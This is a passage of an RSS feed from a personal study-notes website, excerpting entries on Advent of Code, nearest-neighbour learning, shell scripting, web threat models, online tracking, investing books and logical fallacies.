 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;To be fair though, JS&amp;rsquo;s &lt;code&gt;Array.prototype.filter&lt;/code&gt; supports more succinct code:&lt;/p&gt;</description></item><item><title>AoC 2021 Day 02: Dive!</title><link>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2021/src/Dive/02-dive/</link><pubDate>Sat, 19 Feb 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2021/src/Dive/02-dive/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='AoC2021-02'&gt;
 
 Day 2 - Advent of Code 2021&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Eric Wastl.
 
 
 
 
 &lt;a href="https://adventofcode.com/2021/day/2" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=adventofcode.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;adventofcode.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Feb 19, 2022.
 
 
&lt;/div&gt;

&lt;h2 id="problem-statement"&gt;Problem Statement&lt;/h2&gt;
&lt;h3 id="part-one"&gt;Part One&lt;/h3&gt;
&lt;p&gt;Now, you need to figure out how to pilot this thing.&lt;/p&gt;
&lt;p&gt;It seems like the submarine can take a series of commands like &lt;code&gt;forward 1&lt;/code&gt;, &lt;code&gt;down 2&lt;/code&gt;, or &lt;code&gt;up 3&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;forward X&lt;/code&gt; increases the horizontal position by &lt;code&gt;X&lt;/code&gt; units.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;down X&lt;/code&gt; &lt;strong&gt;increases&lt;/strong&gt; the depth by &lt;code&gt;X&lt;/code&gt; units.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;up X&lt;/code&gt; &lt;strong&gt;decreases&lt;/strong&gt; the depth by &lt;code&gt;X&lt;/code&gt; units.&lt;/li&gt;
&lt;/ul&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Can&amp;rsquo;t submarines move backwards? Why is there no &lt;code&gt;backward X&lt;/code&gt;?&lt;/p&gt;</description></item><item><title>02. Developing Self-Awareness</title><link>https://www.curiosities.dev/knowing/scout-mindset/02-developing-self-awareness/</link><pubDate>Tue, 28 Dec 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/knowing/scout-mindset/02-developing-self-awareness/</guid><description>&lt;h2 id="signs-of-a-scout"&gt;Signs of a Scout &lt;span class="citation-ref"&gt;&lt;a href="#Galef2021-Ch4"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h3 id="these-dont-make-you-a-scout"&gt;These Don&amp;rsquo;t Make You a Scout&lt;/h3&gt;
&lt;p&gt;Feeling objective. The more objective you feel, the more you trust your own
intuitions and opinions as accurate representations of reality, and the less
inclined you are to question them.&lt;/p&gt;
&lt;p&gt;Being smart and knowledgeable. It&amp;rsquo;s not a case of &amp;ldquo;if people were smarter and
well-informed, they&amp;rsquo;d realize their errors&amp;rdquo;. For example, &lt;span class="citation-ref"&gt;&lt;a href="#Kahan2017"&gt;&lt;/a&gt;&lt;/span&gt;
found that polarization (on political fronts) on anthropogenic climate change
increases as scientific intelligence increases. &lt;span class="citation-ref"&gt;&lt;a href="#Drummond2017"&gt;&lt;/a&gt;&lt;/span&gt; found
similar patterns: political &amp;amp; religious polarization on stem cell research, the
Big Bang, human evolution; political polarization on climate change; little
evidence of political or religious polarization on nanotechnology and
genetically modified foods.&lt;/p&gt;</description></item><item><title>02. The Language and Grammar of Mathematics</title><link>https://www.curiosities.dev/mathematics/the-princeton-guide-to-mathematics/01-introduction/02-language-and-grammar-of-mathematics/</link><pubDate>Sat, 10 Oct 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/mathematics/the-princeton-guide-to-mathematics/01-introduction/02-language-and-grammar-of-mathematics/</guid><description>&lt;h2 id="motivation-for-mathematical-grammar"&gt;Motivation for Mathematical Grammar&lt;/h2&gt;
&lt;p&gt;Statements in advanced mathematics have a complicated structure that is easier
to understand if one is familiar with mathematical grammar.&lt;/p&gt;
&lt;p&gt;Unlike English grammar that can be ambiguous, mathematical grammar is precise.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;&amp;hellip; and then we have statistics.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="4-basic-concepts-sets-functions-relations-and-binary-operations"&gt;4 Basic Concepts: Sets, Functions, Relations and Binary Operations&lt;/h2&gt;
&lt;p&gt;The word &amp;ldquo;is&amp;rdquo; can have multiple interpretations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;5 is the square root of 25&lt;/li&gt;
&lt;li&gt;5 is less than 10&lt;/li&gt;
&lt;li&gt;5 is a prime number&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Mathematically, we can have the following precise statements:&lt;/p&gt;</description></item><item><title>The Nearest Neighbor Algorithm</title><link>https://www.curiosities.dev/computer-science/machine-learning/ele364-machine-learning-and-predictive-analytics/05-similarity-based-learning/02-the-nearest-neighbor-algorithm/</link><pubDate>Sat, 10 Oct 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/machine-learning/ele364-machine-learning-and-predictive-analytics/05-similarity-based-learning/02-the-nearest-neighbor-algorithm/</guid><description>&lt;h2 id="the-algorithm"&gt;The Algorithm&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Iterate across the instances in memory. Find the instance that has the shortest distance from the query.&lt;/li&gt;
&lt;/ol&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Doing this naively is computationally expensive. That&amp;rsquo;s why there are faster lookup methods, e.g. k-d trees.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;ol start="2"&gt;
&lt;li&gt;Make a prediction for the query equal to the value of the target feature of the nearest neighbor&lt;/li&gt;
&lt;/ol&gt;
&lt;figure&gt;
 &lt;img src='https://www.curiosities.dev/img/computer-science/ele-364-ml-and-predictive-analytics/05-similarity-based-learning/speed-agility-and-draft-status-nearest-neighbors.png' alt='**The Voronoi Tessellation** is a partition of the feature space such that each partition is the &amp;#39;adoptive-radius&amp;#39; of the instance that &amp;#39;owns&amp;#39; that partition. The **Decision Boundary** is formed by aggregating neighboring Voronoi regions that belong to the same target level. In a \\(k-NN\\) setting, this is equivalent to setting \\(k=1\\)' loading="lazy"&gt;
 &lt;figcaption&gt;**The Voronoi Tessellation** is a partition of the feature space such that each partition is the &amp;#39;adoptive-radius&amp;#39; of the instance that &amp;#39;owns&amp;#39; that partition. The **Decision Boundary** is formed by aggregating neighboring Voronoi regions that belong to the same target level. In a \\(k-NN\\) setting, this is equivalent to setting \\(k=1\\)&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h2 id="remarks-on-the-algorithm"&gt;Remarks on the Algorithm&lt;/h2&gt;
&lt;p&gt;Updating the model is quite cheap. Adding an instance updates the Voronoi tessellation and therefore the decision boundary.&lt;/p&gt;</description></item><item><title>The Nearest Neighbor Algorithm</title><link>https://www.curiosities.dev/computer-science/machine-learning/similarity-based-learning/nearest-neighbor-algorithm/</link><pubDate>Sat, 10 Oct 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/machine-learning/similarity-based-learning/nearest-neighbor-algorithm/</guid><description>&lt;h2 id="the-algorithm"&gt;The Algorithm&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Iterate across the instances in memory. Find the instance that has the shortest distance from the query.&lt;/li&gt;
&lt;/ol&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Doing this naively is computationally expensive. That&amp;rsquo;s why there are faster lookup methods, e.g. k-d trees.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;ol start="2"&gt;
&lt;li&gt;Make a prediction for the query equal to the value of the target feature of the nearest neighbor&lt;/li&gt;
&lt;/ol&gt;
&lt;figure&gt;
 &lt;img src='https://www.curiosities.dev/img/computer-science/ele-364-ml-and-predictive-analytics/05-similarity-based-learning/speed-agility-and-draft-status-nearest-neighbors.png' alt='**The Voronoi Tessellation** is a partition of the feature space such that each partition is the &amp;#39;adoptive-radius&amp;#39; of the instance that &amp;#39;owns&amp;#39; that partition. The **Decision Boundary** is formed by aggregating neighboring Voronoi regions that belong to the same target level. In a \\(k-NN\\) setting, this is equivalent to setting \\(k=1\\)' loading="lazy"&gt;
 &lt;figcaption&gt;**The Voronoi Tessellation** is a partition of the feature space such that each partition is the &amp;#39;adoptive-radius&amp;#39; of the instance that &amp;#39;owns&amp;#39; that partition. The **Decision Boundary** is formed by aggregating neighboring Voronoi regions that belong to the same target level. In a \\(k-NN\\) setting, this is equivalent to setting \\(k=1\\)&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h2 id="remarks-on-the-algorithm"&gt;Remarks on the Algorithm&lt;/h2&gt;
&lt;p&gt;Updating the model is quite cheap. Adding an instance updates the Voronoi tessellation and therefore the decision boundary.&lt;/p&gt;</description></item><item><title>Reliability</title><link>https://www.curiosities.dev/computer-science/distributed-systems/klepmann-ddia/01-foundations-of-data-systems/01-reliable-scalable-and-maintainable-applications/02-reliability/</link><pubDate>Sun, 22 Mar 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/distributed-systems/klepmann-ddia/01-foundations-of-data-systems/01-reliable-scalable-and-maintainable-applications/02-reliability/</guid><description>&lt;p&gt;A fault is when a component deviates from its spec, while a failure is when the system no longer provides the required service to the user.&lt;/p&gt;
&lt;p&gt;Better to design fault-tolerant systems because we can&amp;rsquo;t reduce the probability of a fault to zero.&lt;/p&gt;
&lt;p&gt;In fault-tolerant systems, one should trigger faults deliberately in order to test the tolerance, e.g. randomly killing individual processes.&lt;/p&gt;
&lt;p&gt;However, not all things can be tolerated. For instance, if an attacker gains access to sensitive data, then the damage can&amp;rsquo;t be undone. In that case, aim for prevention.&lt;/p&gt;</description></item><item><title>02. Shell Tools</title><link>https://www.curiosities.dev/computer-science/the-missing-cs-semester/02-shell-tools/</link><pubDate>Tue, 11 Feb 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/the-missing-cs-semester/02-shell-tools/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id=''&gt;
 
 Topic 2: Shell Tools&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 
 
 
 
 
 &lt;a href="https://missing.csail.mit.edu/2020/shell-tools/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=missing.csail.mit.edu" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;missing.csail.mit.edu&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;p&gt;Unlike other scripting programming languages, shell scripting is optimized for shell related tasks, e.g. reading from &lt;code&gt;STDIN&lt;/code&gt; and saving results into files are primitives.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;At the cost of being painful on the eyes. Python scripts are way more readable (and cross-platform) than shell scripts.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="pesky-whitespace"&gt;Pesky Whitespace&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-zsh" data-lang="zsh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;foo&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; bar
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Doesn&amp;#39;t work because it&amp;#39;s interpreted as calling the foo program with the args &amp;#39;=&amp;#39; and &amp;#39;bar&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;foo&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;bar &lt;span style="color:#75715e"&gt;# Now that works!&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="literal-strings-vs-substitutable-strings"&gt;Literal Strings vs. Substitutable Strings&lt;/h2&gt;
&lt;p&gt;Single quotes are literal strings, but double quotes allow variable substitution.&lt;/p&gt;</description></item><item><title>02. The Madness of the Crowds</title><link>https://www.curiosities.dev/business/crowds-and-rationalism/malkiel-02-the-madness-of-the-crowds/</link><pubDate>Sat, 01 Jun 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/crowds-and-rationalism/malkiel-02-the-madness-of-the-crowds/</guid><description>&lt;h2 id="the-tulip-bulb-craze"&gt;The Tulip Bulb Craze&lt;/h2&gt;
&lt;p&gt;Virus causes colored stripes in tulip petals. The Dutch valued such bulbs. Prices rose (just when one thought they couldn&amp;rsquo;t go higher). Let the tulipmania begin.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Note: And that&amp;rsquo;s where FOMO comes in. You can&amp;rsquo;t argue with the results. You just want to dip your toes and get out. I watched Bitcoin keep climbing, until I got into the game with $50&amp;hellip;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;Tulip bulbs options. 20 for a bulb currently worth 100. If the price moved to 200, the option holder exercises his right: buys at 100 and simultaneously sells at 200, making a profit of 80.&lt;/p&gt;</description></item><item><title>02. The Madness of the Crowds</title><link>https://www.curiosities.dev/business/malkiel-a-random-walk-down-wall-street/part-1-stocks-and-their-value/malkiel-02-the-madness-of-the-crowds/</link><pubDate>Sat, 01 Jun 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/malkiel-a-random-walk-down-wall-street/part-1-stocks-and-their-value/malkiel-02-the-madness-of-the-crowds/</guid><description>&lt;h2 id="the-tulip-bulb-craze"&gt;The Tulip Bulb Craze&lt;/h2&gt;
&lt;p&gt;Virus causes colored stripes in tulip petals. The Dutch valued such bulbs. Prices rose (just when one thought they couldn&amp;rsquo;t go higher). Let the tulipmania begin.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Note: And that&amp;rsquo;s where FOMO comes in. You can&amp;rsquo;t argue with the results. You just want to dip your toes and get out. I watched Bitcoin keep climbing, until I got into the game with $50&amp;hellip;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;Tulip bulbs options. 20 for a bulb currently worth 100. If the price moved to 200, the option holder exercises his right: buys at 100 and simultaneously sells at 200, making a profit of 80.&lt;/p&gt;</description></item><item><title>Tracking and Data Collection</title><link>https://www.curiosities.dev/computer-science/cos432-information-security/14-privacy/02-tracking-and-data-collection/</link><pubDate>Tue, 22 Jan 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/cos432-information-security/14-privacy/02-tracking-and-data-collection/</guid><description>&lt;h2 id="tracking-on-the-internet"&gt;Tracking on the Internet&lt;/h2&gt;
&lt;figure&gt;
 &lt;img src='https://www.curiosities.dev/img/computer-science/cos432-information-security/14-privacy/third-party-online-tracking-2012.png' alt='Screenshot from a [2012 study of third-party online tracking](#mayerMitchellThirdPartyWebTracking). The red boxes show content (at least the visible ones) served by third parties.' loading="lazy"&gt;
 &lt;figcaption&gt;Screenshot from a [2012 study of third-party online tracking](#mayerMitchellThirdPartyWebTracking). The red boxes show content (at least the visible ones) served by third parties.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;When the browser requests a third-party resource embedded on a web page, the snippet below is a subset of the HTTP headers sent by the browser to the third party.&lt;/p&gt;</description></item><item><title>02. Threat Models for Web Security</title><link>https://www.curiosities.dev/computer-science/cos432-information-security/11-web-security/02-threat-models/</link><pubDate>Wed, 21 Nov 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/cos432-information-security/11-web-security/02-threat-models/</guid><description>&lt;h2 id="1-network-adversary"&gt;#1: Network Adversary&lt;/h2&gt;
&lt;p&gt;Addressed by secure communication protocols (+ network security)&lt;/p&gt;
&lt;h2 id="2-user-visits-adversarys-page"&gt;#2: User visits adversary&amp;rsquo;s page&lt;/h2&gt;
&lt;p&gt;Variants:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Attacker gets the user to click a link, e.g. one that adds an item to their shopping cart.&lt;/li&gt;
&lt;li&gt;Attacker gets the user&amp;rsquo;s browser to request a link&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="3-adversary-is-a-third-party"&gt;#3: Adversary is a third-party&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;iframe&lt;/span&gt; &lt;span style="color:#75af00"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;https://third-party.com/widget&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;iframe&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Note that an adversary script being embedded directly, e.g. through a &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag is not a threat model!&lt;/p&gt;
&lt;h2 id="4-adversary-interacts-with-the-server"&gt;#4: Adversary interacts with the server&lt;/h2&gt;</description></item><item><title>02. The Gluebot</title><link>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/02-the-gluebot/</link><pubDate>Mon, 21 May 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/02-the-gluebot/</guid><description>&lt;p&gt;Holmes insisted on using just a prick of blood. Problem: unreproducible results. A miniaturized catridge made storing and using the reagents hard.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;You can&amp;rsquo;t Steve Jobs your way through medical devices. But you can&amp;rsquo;t change the world by being cynical.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;Costs. Each cartridge cost +$200 to make and was single use. Holmes even purchased a $2m automated packaging line.&lt;/p&gt;
&lt;p&gt;Control of Information. The biochemists and the engineers reported up to Holmes and weren&amp;rsquo;t encouraged to communicate with each other. Holmes was frustrated by the engineering team&amp;rsquo;s slow progress.&lt;/p&gt;</description></item><item><title>Modeling Influence with Graphs</title><link>https://www.curiosities.dev/computer-science/networks/networks-friends-money-bytes/reaching-through-networks/02-modeling-social-influence/02-modeling-influence-with-graphs/</link><pubDate>Mon, 13 Nov 2017 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/networks/networks-friends-money-bytes/reaching-through-networks/02-modeling-social-influence/02-modeling-influence-with-graphs/</guid><description>&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;Graphs, \(G = (V, E) \)&lt;/th&gt;
 &lt;th&gt;\(N \times N \) Adjacency Matrix&lt;/th&gt;
 &lt;th&gt;\(N \times L \) Incidence Matrix&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;figure&gt;
 &lt;img src='https://www.curiosities.dev/img/computer-science/networks-friends-money-bytes/reaching-through-networks/sample-graph.png' alt='' loading="lazy"&gt;
 &lt;figcaption&gt;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/td&gt;
 &lt;td&gt;\(A = \begin{bmatrix}0 &amp;amp; 1 &amp;amp; 0 &amp;amp; 0 \\ 0 &amp;amp; 0 &amp;amp; 1 &amp;amp; 0 \\ 1 &amp;amp; 0 &amp;amp; 0 &amp;amp; 0 \\ 0 &amp;amp; 0 &amp;amp; 0 &amp;amp; 1\end{bmatrix} \)&lt;/td&gt;
 &lt;td&gt;\(\hat{A} = \begin{bmatrix}1 &amp;amp; 0 &amp;amp; -1 &amp;amp; 0 \\ -1 &amp;amp; 1 &amp;amp; 0 &amp;amp; 0 \\ 0 &amp;amp; -1 &amp;amp; 1 &amp;amp; -1 \\ 0 &amp;amp; 0 &amp;amp; 0 &amp;amp; 1\end{bmatrix} \)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;\( V \) = set of \( N \) nodes&lt;br/&gt;\( E \) = set of \( L \) links&lt;/td&gt;
 &lt;td&gt;\( A_{ij} = 1 \) iff \( (i, j) \in E \)&lt;br/&gt;Note that \(A\) need not be symmetric for directed graphs.&lt;/td&gt;
 &lt;td&gt;For a directed graph, \( A_{ij} \) is \(1\) if \( i \) starts at \( j \); \(-1\) if \(i\) ends at \(j\), and \(0\) otherwise.&lt;br/&gt;For an undirected graph, \(A_{ij}\) is \(1\) if \(i\) on \(j\), and \(0\) otherwise.&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="measurements-of-node-importance"&gt;Measurements of Node Importance&lt;/h2&gt;
&lt;h3 id="degree-centrality-of-node-i"&gt;Degree Centrality of Node \(i\)&lt;/h3&gt;
&lt;p&gt;For undirected graphs, this is the number of nodes connecting to node \(i\).&lt;/p&gt;</description></item><item><title>02. The Subject</title><link>https://www.curiosities.dev/writing/the-new-strategy-of-style/02-subject-and-thesis/</link><pubDate>Mon, 02 Jan 2017 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/writing/the-new-strategy-of-style/02-subject-and-thesis/</guid><description>&lt;h2 id="the-subject"&gt;The Subject&lt;/h2&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;The number of words aren&amp;rsquo;t intuitive to me. Adults tend to read non-fiction at 238 words per minute. &lt;span class="citation-ref"&gt;&lt;a href="#Brysbaert2019"&gt;&lt;/a&gt;&lt;/span&gt; So a good test for how appropriate a piece of writing is, &amp;ldquo;Can the writer cover X in N minutes?&amp;rdquo;&lt;/p&gt;
&lt;p&gt;Hugo uses 213 WPM, while Medium uses 265 WPM, suggesting Medium has a bias for skimming over close reading. &lt;span class="citation-ref"&gt;&lt;a href="#HugoMediumDocs"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;I wonder if a browser extension that rates the appropriateness of articles given their subject and their word count is a feasible/desirable thing. Then again, we have Twitter with 140 characters ლ(ಠ_ಠ ლ)&lt;/p&gt;</description></item><item><title>Formal &amp; Red Herring Fallacies</title><link>https://www.curiosities.dev/knowing/almossawi-bad-arguments/02-formal-and-red-herring-fallacies/</link><pubDate>Tue, 06 Sep 2016 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/knowing/almossawi-bad-arguments/02-formal-and-red-herring-fallacies/</guid><description>&lt;h2 id="argument-from-consequences"&gt;Argument from Consequences&lt;/h2&gt;
&lt;p&gt;If God does not exist, then everything is permitted.&lt;/p&gt;
&lt;h2 id="straw-man"&gt;Straw Man&lt;/h2&gt;
&lt;p&gt;The essence of this technique is to caricature a position to make it easier to
attack. &lt;span class="citation-ref"&gt;&lt;a href="#Sagan1996"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;My opponent is trying to convince you that we evolved from chimpanzees who were
swinging from trees, a truly ludicrous claim.&lt;/em&gt;
&lt;span class="citation-ref"&gt;&lt;a href="#Almossawi2013"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Environmentalists care more for snail darters and spotted owls than they do for
people.&lt;/em&gt; &lt;span class="citation-ref"&gt;&lt;a href="#Sagan1996"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id="appeal-to-fear"&gt;Appeal to Fear&lt;/h2&gt;
&lt;p&gt;You should give me all your valuables before the police get here. They will end up putting them in the storeroom, and things tend to get lost in the storeroom.&lt;/p&gt;</description></item><item><title>Formal &amp; Red Herring Fallacies</title><link>https://www.curiosities.dev/knowing/logical-fallacies/formal-and-red-herring-fallacies/</link><pubDate>Tue, 06 Sep 2016 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/knowing/logical-fallacies/formal-and-red-herring-fallacies/</guid><description>&lt;h2 id="argument-from-consequences"&gt;Argument from Consequences&lt;/h2&gt;
&lt;p&gt;If God does not exist, then everything is permitted.&lt;/p&gt;
&lt;h2 id="straw-man"&gt;Straw Man&lt;/h2&gt;
&lt;p&gt;The essence of this technique is to caricature a position to make it easier to
attack. &lt;span class="citation-ref"&gt;&lt;a href="#Sagan1996"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;My opponent is trying to convince you that we evolved from chimpanzees who were
swinging from trees, a truly ludicrous claim.&lt;/em&gt;
&lt;span class="citation-ref"&gt;&lt;a href="#Almossawi2013"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Environmentalists care more for snail darters and spotted owls than they do for
people.&lt;/em&gt; &lt;span class="citation-ref"&gt;&lt;a href="#Sagan1996"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id="appeal-to-fear"&gt;Appeal to Fear&lt;/h2&gt;
&lt;p&gt;You should give me all your valuables before the police get here. They will end up putting them in the storeroom, and things tend to get lost in the storeroom.&lt;/p&gt;</description></item><item><title>2. Mavens</title><link>https://www.curiosities.dev/social-science/sociology/gladwell-tipping-point/02-law-of-the-few/02-mavens/</link><pubDate>Fri, 08 Jul 2016 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/social-science/sociology/gladwell-tipping-point/02-law-of-the-few/02-mavens/</guid><description>&lt;p&gt;While Connectors connect us with new people, Mavens connect us with information.&lt;/p&gt;
&lt;p&gt;Mavens notice the details, e.g. connecting Brazilian frost to coffee prices and stockpiling in anticipation, noticing when a supermarket slaps an &amp;ldquo;everyday low price!&amp;rdquo; without actually lowering the price, etc.&lt;/p&gt;
&lt;p&gt;A Connector might tell 10 friends where to stay in LA and 5 might take his advice. A Maven might tell 5 people where to stay in LA but make the case so emphatically that all 5 would take the advice.&lt;/p&gt;</description></item><item><title>02. We Just Can't Predict</title><link>https://www.curiosities.dev/business/taleb-the-black-swan/02-we-just-cant-predict/</link><pubDate>Sun, 03 Jul 2016 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/taleb-the-black-swan/02-we-just-cant-predict/</guid><description>&lt;p&gt;Couples know that a third to a half of all marriages fail, but surely not &lt;em&gt;them&lt;/em&gt;! 94% of Swedes believe they are better drivers than 50% of Swedes.&lt;/p&gt;
&lt;p&gt;The more detailed your knowledge of empirical reality, the more you mistake noise for signal.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;I don&amp;rsquo;t quite follow&amp;hellip;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;When dealing with policy, the worst case is far more consequential than the forecast itself. Also, the longer you wait, the longer you will be expected to wait.&lt;/p&gt;</description></item><item><title>On Bullshit [Frankfurt]</title><link>https://www.curiosities.dev/knowing/calling-bullshit/01-intro-to-bullshit/02-frankfurt-on-bullshit/</link><pubDate>Wed, 01 Jan 1986 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/knowing/calling-bullshit/01-intro-to-bullshit/02-frankfurt-on-bullshit/</guid><description>&lt;p&gt;Need to develop a theoretical understanding of bullshit. An account of what bullshit is and how it differs from what it is not.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;This is a common way of defining concepts in relation to others. Also saw it in

&lt;a href="https://www.curiosities.dev/mathematics/the-princeton-guide-to-mathematics/01-introduction/01-what-is-mathematics-about/"
 
 
 
 &gt;
 the definitions of algebra, geometry and analysis as mathematical
categories
 
&lt;/a&gt;
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


